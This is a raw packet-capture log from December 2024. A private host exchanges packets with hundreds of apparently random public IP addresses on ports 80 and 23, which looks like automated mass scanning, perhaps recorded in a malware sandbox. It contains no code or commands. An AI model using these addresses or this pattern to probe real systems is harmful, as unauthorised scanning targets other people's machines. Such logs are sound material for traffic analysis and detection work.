Dec 3, 2024 23:16:42.622842073 CET	80	40596	44.220.246.255	192.168.2.23
Dec 3, 2024 23:16:42.622844934 CET	40596	80	192.168.2.23	173.29.208.225
Dec 3, 2024 23:16:42.622850895 CET	80	40596	12.195.145.91	192.168.2.23
Dec 3, 2024 23:16:42.622862101 CET	80	40596	116.66.62.89	192.168.2.23
Dec 3, 2024 23:16:42.622869968 CET	80	40596	91.101.46.36	192.168.2.23
Dec 3, 2024 23:16:42.622931957 CET	80	40596	213.53.91.127	192.168.2.23
Dec 3, 2024 23:16:42.622939110 CET	40596	80	192.168.2.23	189.186.226.168
Dec 3, 2024 23:16:42.622939110 CET	40596	80	192.168.2.23	165.199.249.64
Dec 3, 2024 23:16:42.622941971 CET	80	40596	27.253.151.75	192.168.2.23
Dec 3, 2024 23:16:42.622944117 CET	40596	80	192.168.2.23	44.220.246.255
Dec 3, 2024 23:16:42.622945070 CET	40596	80	192.168.2.23	134.228.25.219
Dec 3, 2024 23:16:42.622951031 CET	40596	80	192.168.2.23	116.66.62.89
Dec 3, 2024 23:16:42.622951984 CET	40596	80	192.168.2.23	12.195.145.91
Dec 3, 2024 23:16:42.622951031 CET	40596	80	192.168.2.23	91.101.46.36
Dec 3, 2024 23:16:42.622955084 CET	40596	80	192.168.2.23	213.53.91.127
Dec 3, 2024 23:16:42.622956038 CET	80	40596	207.189.99.50	192.168.2.23
Dec 3, 2024 23:16:42.622965097 CET	40596	80	192.168.2.23	27.253.151.75
Dec 3, 2024 23:16:42.622975111 CET	80	40596	25.227.229.232	192.168.2.23
Dec 3, 2024 23:16:42.622983932 CET	80	40596	160.43.173.212	192.168.2.23
Dec 3, 2024 23:16:42.622992039 CET	80	40596	39.88.8.230	192.168.2.23
Dec 3, 2024 23:16:42.622996092 CET	40596	80	192.168.2.23	207.189.99.50
Dec 3, 2024 23:16:42.622999907 CET	80	40596	19.115.216.35	192.168.2.23
Dec 3, 2024 23:16:42.623011112 CET	80	40596	74.200.21.240	192.168.2.23
Dec 3, 2024 23:16:42.623012066 CET	40596	80	192.168.2.23	25.227.229.232
Dec 3, 2024 23:16:42.623012066 CET	40596	80	192.168.2.23	160.43.173.212
Dec 3, 2024 23:16:42.623019934 CET	80	40596	65.26.117.90	192.168.2.23
Dec 3, 2024 23:16:42.623022079 CET	40596	80	192.168.2.23	39.88.8.230
Dec 3, 2024 23:16:42.623029947 CET	80	40596	14.15.255.58	192.168.2.23
Dec 3, 2024 23:16:42.623029947 CET	40596	80	192.168.2.23	19.115.216.35
Dec 3, 2024 23:16:42.623039961 CET	80	40596	2.254.234.19	192.168.2.23
Dec 3, 2024 23:16:42.623043060 CET	40596	80	192.168.2.23	74.200.21.240
Dec 3, 2024 23:16:42.623045921 CET	40596	80	192.168.2.23	65.26.117.90
Dec 3, 2024 23:16:42.623050928 CET	80	40596	213.166.199.51	192.168.2.23
Dec 3, 2024 23:16:42.623061895 CET	80	40596	91.50.134.108	192.168.2.23
Dec 3, 2024 23:16:42.623070002 CET	40596	80	192.168.2.23	2.254.234.19
Dec 3, 2024 23:16:42.623070955 CET	40596	80	192.168.2.23	14.15.255.58
Dec 3, 2024 23:16:42.623078108 CET	40596	80	192.168.2.23	213.166.199.51
Dec 3, 2024 23:16:42.623111010 CET	40596	80	192.168.2.23	91.50.134.108
Dec 3, 2024 23:16:42.623476028 CET	80	40596	152.183.28.129	192.168.2.23
Dec 3, 2024 23:16:42.623486996 CET	80	40596	178.187.197.167	192.168.2.23
Dec 3, 2024 23:16:42.623497963 CET	80	40596	186.76.94.147	192.168.2.23
Dec 3, 2024 23:16:42.623502970 CET	80	40596	34.51.235.203	192.168.2.23
Dec 3, 2024 23:16:42.623513937 CET	40596	80	192.168.2.23	152.183.28.129
Dec 3, 2024 23:16:42.623531103 CET	80	40596	132.250.192.209	192.168.2.23
Dec 3, 2024 23:16:42.623534918 CET	40596	80	192.168.2.23	178.187.197.167
Dec 3, 2024 23:16:42.623541117 CET	80	40596	82.11.139.4	192.168.2.23
Dec 3, 2024 23:16:42.623541117 CET	40596	80	192.168.2.23	186.76.94.147
Dec 3, 2024 23:16:42.623548031 CET	40596	80	192.168.2.23	34.51.235.203
Dec 3, 2024 23:16:42.623558998 CET	80	40596	170.168.241.248	192.168.2.23
Dec 3, 2024 23:16:42.623564959 CET	40596	80	192.168.2.23	132.250.192.209
Dec 3, 2024 23:16:42.623569965 CET	80	40596	128.121.128.130	192.168.2.23
Dec 3, 2024 23:16:42.623580933 CET	80	40596	45.35.18.18	192.168.2.23
Dec 3, 2024 23:16:42.623585939 CET	40596	80	192.168.2.23	170.168.241.248
Dec 3, 2024 23:16:42.623585939 CET	40596	80	192.168.2.23	82.11.139.4
Dec 3, 2024 23:16:42.623594046 CET	80	40596	97.97.183.158	192.168.2.23
Dec 3, 2024 23:16:42.623600960 CET	40596	80	192.168.2.23	128.121.128.130
Dec 3, 2024 23:16:42.623604059 CET	80	40596	203.33.33.36	192.168.2.23
Dec 3, 2024 23:16:42.623613119 CET	40596	80	192.168.2.23	45.35.18.18
Dec 3, 2024 23:16:42.623615980 CET	80	40596	113.74.119.205	192.168.2.23
Dec 3, 2024 23:16:42.623625994 CET	80	40596	91.133.230.254	192.168.2.23
Dec 3, 2024 23:16:42.623631001 CET	40596	80	192.168.2.23	97.97.183.158
Dec 3, 2024 23:16:42.623636961 CET	40596	80	192.168.2.23	203.33.33.36
Dec 3, 2024 23:16:42.623642921 CET	40596	80	192.168.2.23	113.74.119.205
Dec 3, 2024 23:16:42.623665094 CET	40596	80	192.168.2.23	91.133.230.254
Dec 3, 2024 23:16:42.623704910 CET	80	40596	2.77.49.77	192.168.2.23
Dec 3, 2024 23:16:42.623714924 CET	80	40596	209.45.1.171	192.168.2.23
Dec 3, 2024 23:16:42.623723984 CET	80	40596	57.16.10.58	192.168.2.23
Dec 3, 2024 23:16:42.623733997 CET	80	40596	49.147.241.229	192.168.2.23
Dec 3, 2024 23:16:42.623743057 CET	80	40596	49.56.22.210	192.168.2.23
Dec 3, 2024 23:16:42.623744965 CET	40596	80	192.168.2.23	209.45.1.171
Dec 3, 2024 23:16:42.623745918 CET	40596	80	192.168.2.23	2.77.49.77
Dec 3, 2024 23:16:42.623753071 CET	80	40596	123.188.129.148	192.168.2.23
Dec 3, 2024 23:16:42.623763084 CET	80	40596	51.74.92.84	192.168.2.23
Dec 3, 2024 23:16:42.623764038 CET	40596	80	192.168.2.23	49.147.241.229
Dec 3, 2024 23:16:42.623765945 CET	40596	80	192.168.2.23	49.56.22.210
Dec 3, 2024 23:16:42.623766899 CET	40596	80	192.168.2.23	57.16.10.58
Dec 3, 2024 23:16:42.623773098 CET	80	40596	24.87.40.246	192.168.2.23
Dec 3, 2024 23:16:42.623776913 CET	40596	80	192.168.2.23	123.188.129.148
Dec 3, 2024 23:16:42.623784065 CET	80	40596	25.241.188.52	192.168.2.23
Dec 3, 2024 23:16:42.623788118 CET	80	40596	216.22.208.160	192.168.2.23
Dec 3, 2024 23:16:42.623795033 CET	40596	80	192.168.2.23	51.74.92.84
Dec 3, 2024 23:16:42.623796940 CET	80	40596	42.178.224.119	192.168.2.23
Dec 3, 2024 23:16:42.623806953 CET	80	40596	156.201.247.225	192.168.2.23
Dec 3, 2024 23:16:42.623815060 CET	40596	80	192.168.2.23	25.241.188.52
Dec 3, 2024 23:16:42.623816013 CET	40596	80	192.168.2.23	24.87.40.246
Dec 3, 2024 23:16:42.623816967 CET	80	40596	2.47.205.137	192.168.2.23
Dec 3, 2024 23:16:42.623821974 CET	80	40596	200.162.215.12	192.168.2.23
Dec 3, 2024 23:16:42.623831034 CET	80	40596	24.246.8.64	192.168.2.23
Dec 3, 2024 23:16:42.623831034 CET	40596	80	192.168.2.23	216.22.208.160
Dec 3, 2024 23:16:42.623838902 CET	40596	80	192.168.2.23	2.47.205.137
Dec 3, 2024 23:16:42.623838902 CET	40596	80	192.168.2.23	200.162.215.12
Dec 3, 2024 23:16:42.623840094 CET	40596	80	192.168.2.23	42.178.224.119
Dec 3, 2024 23:16:42.623852015 CET	40596	80	192.168.2.23	156.201.247.225
Dec 3, 2024 23:16:42.623861074 CET	40596	80	192.168.2.23	24.246.8.64
Dec 3, 2024 23:16:42.624283075 CET	80	40596	17.119.26.68	192.168.2.23
Dec 3, 2024 23:16:42.624294996 CET	80	40596	211.85.216.116	192.168.2.23
Dec 3, 2024 23:16:42.624304056 CET	80	40596	87.131.174.143	192.168.2.23
Dec 3, 2024 23:16:42.624313116 CET	80	40596	106.8.219.42	192.168.2.23
Dec 3, 2024 23:16:42.624322891 CET	80	40596	18.156.231.43	192.168.2.23
Dec 3, 2024 23:16:42.624325037 CET	40596	80	192.168.2.23	211.85.216.116
Dec 3, 2024 23:16:42.624330044 CET	40596	80	192.168.2.23	17.119.26.68
Dec 3, 2024 23:16:42.624332905 CET	80	40596	201.25.46.165	192.168.2.23
Dec 3, 2024 23:16:42.624337912 CET	40596	80	192.168.2.23	106.8.219.42
Dec 3, 2024 23:16:42.624341965 CET	40596	80	192.168.2.23	87.131.174.143
Dec 3, 2024 23:16:42.624344110 CET	80	40596	143.240.24.22	192.168.2.23
Dec 3, 2024 23:16:42.624352932 CET	80	40596	111.104.112.34	192.168.2.23
Dec 3, 2024 23:16:42.624356031 CET	40596	80	192.168.2.23	18.156.231.43
Dec 3, 2024 23:16:42.624360085 CET	80	40596	168.79.29.181	192.168.2.23
Dec 3, 2024 23:16:42.624363899 CET	40596	80	192.168.2.23	201.25.46.165
Dec 3, 2024 23:16:42.624372959 CET	80	40596	158.73.17.46	192.168.2.23
Dec 3, 2024 23:16:42.624383926 CET	80	40596	196.88.186.12	192.168.2.23
Dec 3, 2024 23:16:42.624392033 CET	40596	80	192.168.2.23	143.240.24.22
Dec 3, 2024 23:16:42.624392033 CET	40596	80	192.168.2.23	168.79.29.181
Dec 3, 2024 23:16:42.624392033 CET	40596	80	192.168.2.23	111.104.112.34
Dec 3, 2024 23:16:42.624392986 CET	80	40596	123.21.194.224	192.168.2.23
Dec 3, 2024 23:16:42.624402046 CET	40596	80	192.168.2.23	158.73.17.46
Dec 3, 2024 23:16:42.624403000 CET	80	40596	9.123.212.49	192.168.2.23
Dec 3, 2024 23:16:42.624413013 CET	80	40596	34.165.106.83	192.168.2.23
Dec 3, 2024 23:16:42.624413967 CET	40596	80	192.168.2.23	196.88.186.12
Dec 3, 2024 23:16:42.624422073 CET	80	40596	2.137.42.110	192.168.2.23
Dec 3, 2024 23:16:42.624423027 CET	40596	80	192.168.2.23	123.21.194.224
Dec 3, 2024 23:16:42.624433994 CET	80	40596	37.249.110.5	192.168.2.23
Dec 3, 2024 23:16:42.624439955 CET	40596	80	192.168.2.23	34.165.106.83
Dec 3, 2024 23:16:42.624442101 CET	40596	80	192.168.2.23	9.123.212.49
Dec 3, 2024 23:16:42.624452114 CET	80	40596	79.199.152.61	192.168.2.23
Dec 3, 2024 23:16:42.624460936 CET	40596	80	192.168.2.23	2.137.42.110
Dec 3, 2024 23:16:42.624461889 CET	80	40596	63.159.102.101	192.168.2.23
Dec 3, 2024 23:16:42.624473095 CET	80	40596	18.128.49.73	192.168.2.23
Dec 3, 2024 23:16:42.624475956 CET	40596	80	192.168.2.23	37.249.110.5
Dec 3, 2024 23:16:42.624483109 CET	80	40596	105.142.23.9	192.168.2.23
Dec 3, 2024 23:16:42.624486923 CET	80	40596	109.55.86.47	192.168.2.23
Dec 3, 2024 23:16:42.624490023 CET	40596	80	192.168.2.23	79.199.152.61
Dec 3, 2024 23:16:42.624490976 CET	80	40596	5.59.75.216	192.168.2.23
Dec 3, 2024 23:16:42.624490976 CET	40596	80	192.168.2.23	63.159.102.101
Dec 3, 2024 23:16:42.624496937 CET	80	40596	31.146.205.35	192.168.2.23
Dec 3, 2024 23:16:42.624501944 CET	80	40596	93.210.17.50	192.168.2.23
Dec 3, 2024 23:16:42.624511003 CET	80	40596	49.62.40.255	192.168.2.23
Dec 3, 2024 23:16:42.624522924 CET	80	40596	39.85.93.69	192.168.2.23
Dec 3, 2024 23:16:42.624530077 CET	40596	80	192.168.2.23	18.128.49.73
Dec 3, 2024 23:16:42.624530077 CET	40596	80	192.168.2.23	105.142.23.9
Dec 3, 2024 23:16:42.624531984 CET	80	40596	42.160.62.211	192.168.2.23
Dec 3, 2024 23:16:42.624532938 CET	40596	80	192.168.2.23	109.55.86.47
Dec 3, 2024 23:16:42.624535084 CET	40596	80	192.168.2.23	49.62.40.255
Dec 3, 2024 23:16:42.624540091 CET	40596	80	192.168.2.23	5.59.75.216
Dec 3, 2024 23:16:42.624542952 CET	80	40596	41.214.8.30	192.168.2.23
Dec 3, 2024 23:16:42.624551058 CET	40596	80	192.168.2.23	39.85.93.69
Dec 3, 2024 23:16:42.624552965 CET	40596	80	192.168.2.23	93.210.17.50
Dec 3, 2024 23:16:42.624552965 CET	40596	80	192.168.2.23	31.146.205.35
Dec 3, 2024 23:16:42.624552965 CET	40596	80	192.168.2.23	42.160.62.211
Dec 3, 2024 23:16:42.624572992 CET	40596	80	192.168.2.23	41.214.8.30
Dec 3, 2024 23:16:42.625003099 CET	80	40596	31.99.116.101	192.168.2.23
Dec 3, 2024 23:16:42.625015020 CET	80	40596	207.34.234.22	192.168.2.23
Dec 3, 2024 23:16:42.625022888 CET	80	40596	150.153.232.32	192.168.2.23
Dec 3, 2024 23:16:42.625035048 CET	80	40596	114.201.94.232	192.168.2.23
Dec 3, 2024 23:16:42.625046015 CET	40596	80	192.168.2.23	207.34.234.22
Dec 3, 2024 23:16:42.625049114 CET	80	40596	109.133.225.175	192.168.2.23
Dec 3, 2024 23:16:42.625060081 CET	80	40596	118.206.119.7	192.168.2.23
Dec 3, 2024 23:16:42.625065088 CET	40596	80	192.168.2.23	31.99.116.101
Dec 3, 2024 23:16:42.625066042 CET	40596	80	192.168.2.23	150.153.232.32
Dec 3, 2024 23:16:42.625065088 CET	40596	80	192.168.2.23	114.201.94.232
Dec 3, 2024 23:16:42.625068903 CET	80	40596	120.109.103.67	192.168.2.23
Dec 3, 2024 23:16:42.625078917 CET	80	40596	45.101.18.205	192.168.2.23
Dec 3, 2024 23:16:42.625088930 CET	80	40596	36.189.124.169	192.168.2.23
Dec 3, 2024 23:16:42.625092983 CET	40596	80	192.168.2.23	109.133.225.175
Dec 3, 2024 23:16:42.625092983 CET	40596	80	192.168.2.23	118.206.119.7
Dec 3, 2024 23:16:42.625096083 CET	40596	80	192.168.2.23	120.109.103.67
Dec 3, 2024 23:16:42.625097990 CET	80	40596	27.227.61.159	192.168.2.23
Dec 3, 2024 23:16:42.625113964 CET	80	40596	115.67.47.66	192.168.2.23
Dec 3, 2024 23:16:42.625116110 CET	40596	80	192.168.2.23	45.101.18.205
Dec 3, 2024 23:16:42.625118971 CET	40596	80	192.168.2.23	36.189.124.169
Dec 3, 2024 23:16:42.625118971 CET	40596	80	192.168.2.23	27.227.61.159
Dec 3, 2024 23:16:42.625123978 CET	80	40596	31.40.228.198	192.168.2.23
Dec 3, 2024 23:16:42.625134945 CET	80	40596	61.148.91.177	192.168.2.23
Dec 3, 2024 23:16:42.625154018 CET	40596	80	192.168.2.23	115.67.47.66
Dec 3, 2024 23:16:42.625159979 CET	80	40596	130.57.145.105	192.168.2.23
Dec 3, 2024 23:16:42.625170946 CET	80	40596	168.41.54.54	192.168.2.23
Dec 3, 2024 23:16:42.625174046 CET	40596	80	192.168.2.23	31.40.228.198
Dec 3, 2024 23:16:42.625178099 CET	40596	80	192.168.2.23	61.148.91.177
Dec 3, 2024 23:16:42.625180960 CET	80	40596	112.92.114.156	192.168.2.23
Dec 3, 2024 23:16:42.625190973 CET	80	40596	70.191.183.214	192.168.2.23
Dec 3, 2024 23:16:42.625194073 CET	40596	80	192.168.2.23	130.57.145.105
Dec 3, 2024 23:16:42.625195980 CET	80	40596	164.201.38.119	192.168.2.23
Dec 3, 2024 23:16:42.625201941 CET	80	40596	167.242.60.169	192.168.2.23
Dec 3, 2024 23:16:42.625204086 CET	40596	80	192.168.2.23	168.41.54.54
Dec 3, 2024 23:16:42.625205994 CET	80	40596	107.56.161.102	192.168.2.23
Dec 3, 2024 23:16:42.625210047 CET	80	40596	146.158.49.26	192.168.2.23
Dec 3, 2024 23:16:42.625214100 CET	80	40596	84.28.33.146	192.168.2.23
Dec 3, 2024 23:16:42.625221014 CET	80	40596	119.165.187.170	192.168.2.23
Dec 3, 2024 23:16:42.625231028 CET	80	40596	32.176.65.122	192.168.2.23
Dec 3, 2024 23:16:42.625240088 CET	80	40596	209.175.242.251	192.168.2.23
Dec 3, 2024 23:16:42.625243902 CET	40596	80	192.168.2.23	164.201.38.119
Dec 3, 2024 23:16:42.625243902 CET	40596	80	192.168.2.23	107.56.161.102
Dec 3, 2024 23:16:42.625245094 CET	40596	80	192.168.2.23	112.92.114.156
Dec 3, 2024 23:16:42.625245094 CET	40596	80	192.168.2.23	70.191.183.214
Dec 3, 2024 23:16:42.625255108 CET	40596	80	192.168.2.23	167.242.60.169
Dec 3, 2024 23:16:42.625255108 CET	40596	80	192.168.2.23	32.176.65.122
Dec 3, 2024 23:16:42.625256062 CET	80	40596	136.175.157.68	192.168.2.23
Dec 3, 2024 23:16:42.625255108 CET	40596	80	192.168.2.23	146.158.49.26
Dec 3, 2024 23:16:42.625255108 CET	40596	80	192.168.2.23	119.165.187.170
Dec 3, 2024 23:16:42.625256062 CET	40596	80	192.168.2.23	84.28.33.146
Dec 3, 2024 23:16:42.625266075 CET	80	40596	111.201.144.246	192.168.2.23
Dec 3, 2024 23:16:42.625274897 CET	40596	80	192.168.2.23	209.175.242.251
Dec 3, 2024 23:16:42.625276089 CET	80	40596	142.100.170.248	192.168.2.23
Dec 3, 2024 23:16:42.625293016 CET	40596	80	192.168.2.23	136.175.157.68
Dec 3, 2024 23:16:42.625303984 CET	40596	80	192.168.2.23	142.100.170.248
Dec 3, 2024 23:16:42.625305891 CET	40596	80	192.168.2.23	111.201.144.246
Dec 3, 2024 23:16:42.625649929 CET	80	40596	136.149.84.223	192.168.2.23
Dec 3, 2024 23:16:42.625659943 CET	80	40596	209.95.102.233	192.168.2.23
Dec 3, 2024 23:16:42.625667095 CET	80	40596	44.212.173.102	192.168.2.23
Dec 3, 2024 23:16:42.625674963 CET	80	40596	117.183.142.239	192.168.2.23
Dec 3, 2024 23:16:42.625684023 CET	80	40596	126.4.181.94	192.168.2.23
Dec 3, 2024 23:16:42.625689030 CET	40596	80	192.168.2.23	136.149.84.223
Dec 3, 2024 23:16:42.625689983 CET	40596	80	192.168.2.23	209.95.102.233
Dec 3, 2024 23:16:42.625691891 CET	80	40596	109.160.171.143	192.168.2.23
Dec 3, 2024 23:16:42.625700951 CET	40596	80	192.168.2.23	117.183.142.239
Dec 3, 2024 23:16:42.625701904 CET	80	40596	196.43.141.210	192.168.2.23
Dec 3, 2024 23:16:42.625701904 CET	40596	80	192.168.2.23	44.212.173.102
Dec 3, 2024 23:16:42.625713110 CET	80	40596	205.45.46.127	192.168.2.23
Dec 3, 2024 23:16:42.625720978 CET	80	40596	128.175.100.147	192.168.2.23
Dec 3, 2024 23:16:42.625729084 CET	40596	80	192.168.2.23	109.160.171.143
Dec 3, 2024 23:16:42.625730038 CET	80	40596	59.25.34.172	192.168.2.23
Dec 3, 2024 23:16:42.625731945 CET	40596	80	192.168.2.23	196.43.141.210
Dec 3, 2024 23:16:42.625735044 CET	40596	80	192.168.2.23	126.4.181.94
Dec 3, 2024 23:16:42.625740051 CET	80	40596	39.60.199.246	192.168.2.23
Dec 3, 2024 23:16:42.625749111 CET	80	40596	223.108.225.104	192.168.2.23
Dec 3, 2024 23:16:42.625755072 CET	40596	80	192.168.2.23	128.175.100.147
Dec 3, 2024 23:16:42.625755072 CET	40596	80	192.168.2.23	59.25.34.172
Dec 3, 2024 23:16:42.625756025 CET	40596	80	192.168.2.23	205.45.46.127
Dec 3, 2024 23:16:42.625756979 CET	80	40596	202.34.120.178	192.168.2.23
Dec 3, 2024 23:16:42.625766993 CET	80	40596	131.71.25.235	192.168.2.23
Dec 3, 2024 23:16:42.625775099 CET	80	40596	81.217.54.126	192.168.2.23
Dec 3, 2024 23:16:42.625775099 CET	40596	80	192.168.2.23	39.60.199.246
Dec 3, 2024 23:16:42.625777960 CET	40596	80	192.168.2.23	223.108.225.104
Dec 3, 2024 23:16:42.625785112 CET	80	40596	183.21.5.52	192.168.2.23
Dec 3, 2024 23:16:42.625796080 CET	40596	80	192.168.2.23	131.71.25.235
Dec 3, 2024 23:16:42.625801086 CET	80	40596	13.204.167.173	192.168.2.23
Dec 3, 2024 23:16:42.625813007 CET	80	40596	145.137.206.36	192.168.2.23
Dec 3, 2024 23:16:42.625813961 CET	40596	80	192.168.2.23	81.217.54.126
Dec 3, 2024 23:16:42.625813961 CET	40596	80	192.168.2.23	202.34.120.178
Dec 3, 2024 23:16:42.625814915 CET	40596	80	192.168.2.23	183.21.5.52
Dec 3, 2024 23:16:42.625823021 CET	80	40596	200.220.91.108	192.168.2.23
Dec 3, 2024 23:16:42.625832081 CET	80	40596	77.34.61.9	192.168.2.23
Dec 3, 2024 23:16:42.625837088 CET	40596	80	192.168.2.23	13.204.167.173
Dec 3, 2024 23:16:42.625838995 CET	40596	80	192.168.2.23	145.137.206.36
Dec 3, 2024 23:16:42.625840902 CET	80	40596	218.204.215.242	192.168.2.23
Dec 3, 2024 23:16:42.625850916 CET	80	40596	114.42.22.205	192.168.2.23
Dec 3, 2024 23:16:42.625859022 CET	80	40596	173.148.18.238	192.168.2.23
Dec 3, 2024 23:16:42.625864029 CET	40596	80	192.168.2.23	200.220.91.108
Dec 3, 2024 23:16:42.625864029 CET	40596	80	192.168.2.23	77.34.61.9
Dec 3, 2024 23:16:42.625868082 CET	80	40596	170.220.93.125	192.168.2.23
Dec 3, 2024 23:16:42.625871897 CET	40596	80	192.168.2.23	218.204.215.242
Dec 3, 2024 23:16:42.625879049 CET	80	40596	48.13.16.20	192.168.2.23
Dec 3, 2024 23:16:42.625885963 CET	40596	80	192.168.2.23	114.42.22.205
Dec 3, 2024 23:16:42.625885963 CET	40596	80	192.168.2.23	173.148.18.238
Dec 3, 2024 23:16:42.625889063 CET	80	40596	25.204.167.206	192.168.2.23
Dec 3, 2024 23:16:42.625896931 CET	40596	80	192.168.2.23	170.220.93.125
Dec 3, 2024 23:16:42.625897884 CET	80	40596	107.105.70.85	192.168.2.23
Dec 3, 2024 23:16:42.625907898 CET	80	40596	88.189.27.88	192.168.2.23
Dec 3, 2024 23:16:42.625921011 CET	40596	80	192.168.2.23	48.13.16.20
Dec 3, 2024 23:16:42.625921965 CET	40596	80	192.168.2.23	25.204.167.206
Dec 3, 2024 23:16:42.625962973 CET	40596	80	192.168.2.23	88.189.27.88
Dec 3, 2024 23:16:42.625983000 CET	40596	80	192.168.2.23	107.105.70.85
Dec 3, 2024 23:16:42.626425028 CET	23	40602	34.135.165.248	192.168.2.23
Dec 3, 2024 23:16:42.626434088 CET	23	40602	44.128.117.241	192.168.2.23
Dec 3, 2024 23:16:42.626441956 CET	23	40602	92.212.26.156	192.168.2.23
Dec 3, 2024 23:16:42.626451969 CET	23	40602	140.179.127.43	192.168.2.23
Dec 3, 2024 23:16:42.626460075 CET	23	40602	4.177.182.163	192.168.2.23
Dec 3, 2024 23:16:42.626465082 CET	40602	23	192.168.2.23	34.135.165.248
Dec 3, 2024 23:16:42.626467943 CET	80	40596	94.105.106.218	192.168.2.23
Dec 3, 2024 23:16:42.626477957 CET	80	40596	146.75.21.112	192.168.2.23
Dec 3, 2024 23:16:42.626482964 CET	40602	23	192.168.2.23	92.212.26.156
Dec 3, 2024 23:16:42.626483917 CET	40602	23	192.168.2.23	140.179.127.43
Dec 3, 2024 23:16:42.626486063 CET	80	40596	190.19.89.215	192.168.2.23
Dec 3, 2024 23:16:42.626487017 CET	40602	23	192.168.2.23	44.128.117.241
Dec 3, 2024 23:16:42.626496077 CET	23	40602	136.114.5.239	192.168.2.23
Dec 3, 2024 23:16:42.626499891 CET	40602	23	192.168.2.23	4.177.182.163
Dec 3, 2024 23:16:42.626499891 CET	40596	80	192.168.2.23	94.105.106.218
Dec 3, 2024 23:16:42.626506090 CET	80	40596	177.56.28.204	192.168.2.23
Dec 3, 2024 23:16:42.626514912 CET	80	40596	220.28.187.230	192.168.2.23
Dec 3, 2024 23:16:42.626518965 CET	40596	80	192.168.2.23	146.75.21.112
Dec 3, 2024 23:16:42.626518965 CET	40602	23	192.168.2.23	136.114.5.239
Dec 3, 2024 23:16:42.626523972 CET	80	40596	154.117.251.79	192.168.2.23
Dec 3, 2024 23:16:42.626528978 CET	40596	80	192.168.2.23	190.19.89.215
Dec 3, 2024 23:16:42.626528978 CET	40596	80	192.168.2.23	177.56.28.204
Dec 3, 2024 23:16:42.626533985 CET	23	40602	51.100.247.189	192.168.2.23
Dec 3, 2024 23:16:42.626557112 CET	40596	80	192.168.2.23	220.28.187.230
Dec 3, 2024 23:16:42.626557112 CET	40596	80	192.168.2.23	154.117.251.79
Dec 3, 2024 23:16:42.626575947 CET	40602	23	192.168.2.23	51.100.247.189
Dec 3, 2024 23:16:42.626580000 CET	23	40602	94.193.211.135	192.168.2.23
Dec 3, 2024 23:16:42.626590014 CET	23	40602	183.254.187.112	192.168.2.23
Dec 3, 2024 23:16:42.626600027 CET	23	40602	210.109.213.99	192.168.2.23
Dec 3, 2024 23:16:42.626607895 CET	80	40596	184.224.14.92	192.168.2.23
Dec 3, 2024 23:16:42.626612902 CET	40602	23	192.168.2.23	94.193.211.135
Dec 3, 2024 23:16:42.626617908 CET	23	40602	162.77.165.195	192.168.2.23
Dec 3, 2024 23:16:42.626621008 CET	40602	23	192.168.2.23	183.254.187.112
Dec 3, 2024 23:16:42.626621962 CET	40602	23	192.168.2.23	210.109.213.99
Dec 3, 2024 23:16:42.626626968 CET	80	40596	9.85.242.117	192.168.2.23
Dec 3, 2024 23:16:42.626636028 CET	80	40596	152.245.230.26	192.168.2.23
Dec 3, 2024 23:16:42.626637936 CET	40596	80	192.168.2.23	184.224.14.92
Dec 3, 2024 23:16:42.626642942 CET	80	40596	81.124.62.176	192.168.2.23
Dec 3, 2024 23:16:42.626651049 CET	40596	80	192.168.2.23	9.85.242.117
Dec 3, 2024 23:16:42.626652002 CET	23	40602	114.6.97.206	192.168.2.23
Dec 3, 2024 23:16:42.626652956 CET	40602	23	192.168.2.23	162.77.165.195
Dec 3, 2024 23:16:42.626661062 CET	80	40596	175.215.95.141	192.168.2.23
Dec 3, 2024 23:16:42.626666069 CET	40596	80	192.168.2.23	152.245.230.26
Dec 3, 2024 23:16:42.626667976 CET	40596	80	192.168.2.23	81.124.62.176
Dec 3, 2024 23:16:42.626669884 CET	80	40596	201.19.7.66	192.168.2.23
Dec 3, 2024 23:16:42.626679897 CET	80	40596	96.173.131.228	192.168.2.23
Dec 3, 2024 23:16:42.626682043 CET	40602	23	192.168.2.23	114.6.97.206
Dec 3, 2024 23:16:42.626684904 CET	40596	80	192.168.2.23	175.215.95.141
Dec 3, 2024 23:16:42.626688004 CET	80	40596	140.38.79.32	192.168.2.23
Dec 3, 2024 23:16:42.626698017 CET	23	40602	95.156.139.191	192.168.2.23
Dec 3, 2024 23:16:42.626705885 CET	23	40602	92.29.2.105	192.168.2.23
Dec 3, 2024 23:16:42.626709938 CET	40596	80	192.168.2.23	201.19.7.66
Dec 3, 2024 23:16:42.626710892 CET	40596	80	192.168.2.23	96.173.131.228
Dec 3, 2024 23:16:42.626725912 CET	40602	23	192.168.2.23	95.156.139.191
Dec 3, 2024 23:16:42.626727104 CET	40596	80	192.168.2.23	140.38.79.32
Dec 3, 2024 23:16:42.626739025 CET	40602	23	192.168.2.23	92.29.2.105
Dec 3, 2024 23:16:42.627257109 CET	80	40596	183.167.148.187	192.168.2.23
Dec 3, 2024 23:16:42.627271891 CET	23	40602	192.159.76.24	192.168.2.23
Dec 3, 2024 23:16:42.627280951 CET	80	40596	83.183.3.56	192.168.2.23
Dec 3, 2024 23:16:42.627290010 CET	80	40596	169.252.245.1	192.168.2.23
Dec 3, 2024 23:16:42.627295971 CET	40596	80	192.168.2.23	183.167.148.187
Dec 3, 2024 23:16:42.627295971 CET	40602	23	192.168.2.23	192.159.76.24
Dec 3, 2024 23:16:42.627299070 CET	23	40602	191.177.244.159	192.168.2.23
Dec 3, 2024 23:16:42.627305031 CET	23	40602	64.52.88.110	192.168.2.23
Dec 3, 2024 23:16:42.627316952 CET	23	40602	123.24.116.221	192.168.2.23
Dec 3, 2024 23:16:42.627326965 CET	40596	80	192.168.2.23	83.183.3.56
Dec 3, 2024 23:16:42.627326965 CET	23	40602	108.253.207.208	192.168.2.23
Dec 3, 2024 23:16:42.627326965 CET	40602	23	192.168.2.23	191.177.244.159
Dec 3, 2024 23:16:42.627334118 CET	40596	80	192.168.2.23	169.252.245.1
Dec 3, 2024 23:16:42.627337933 CET	80	40596	153.225.1.88	192.168.2.23
Dec 3, 2024 23:16:42.627341986 CET	40602	23	192.168.2.23	64.52.88.110
Dec 3, 2024 23:16:42.627346039 CET	40602	23	192.168.2.23	123.24.116.221
Dec 3, 2024 23:16:42.627347946 CET	80	40596	158.187.32.15	192.168.2.23
Dec 3, 2024 23:16:42.627356052 CET	23	40602	9.121.207.243	192.168.2.23
Dec 3, 2024 23:16:42.627361059 CET	40602	23	192.168.2.23	108.253.207.208
Dec 3, 2024 23:16:42.627365112 CET	80	40596	169.27.242.212	192.168.2.23
Dec 3, 2024 23:16:42.627374887 CET	23	40602	163.159.64.220	192.168.2.23
Dec 3, 2024 23:16:42.627374887 CET	40596	80	192.168.2.23	158.187.32.15
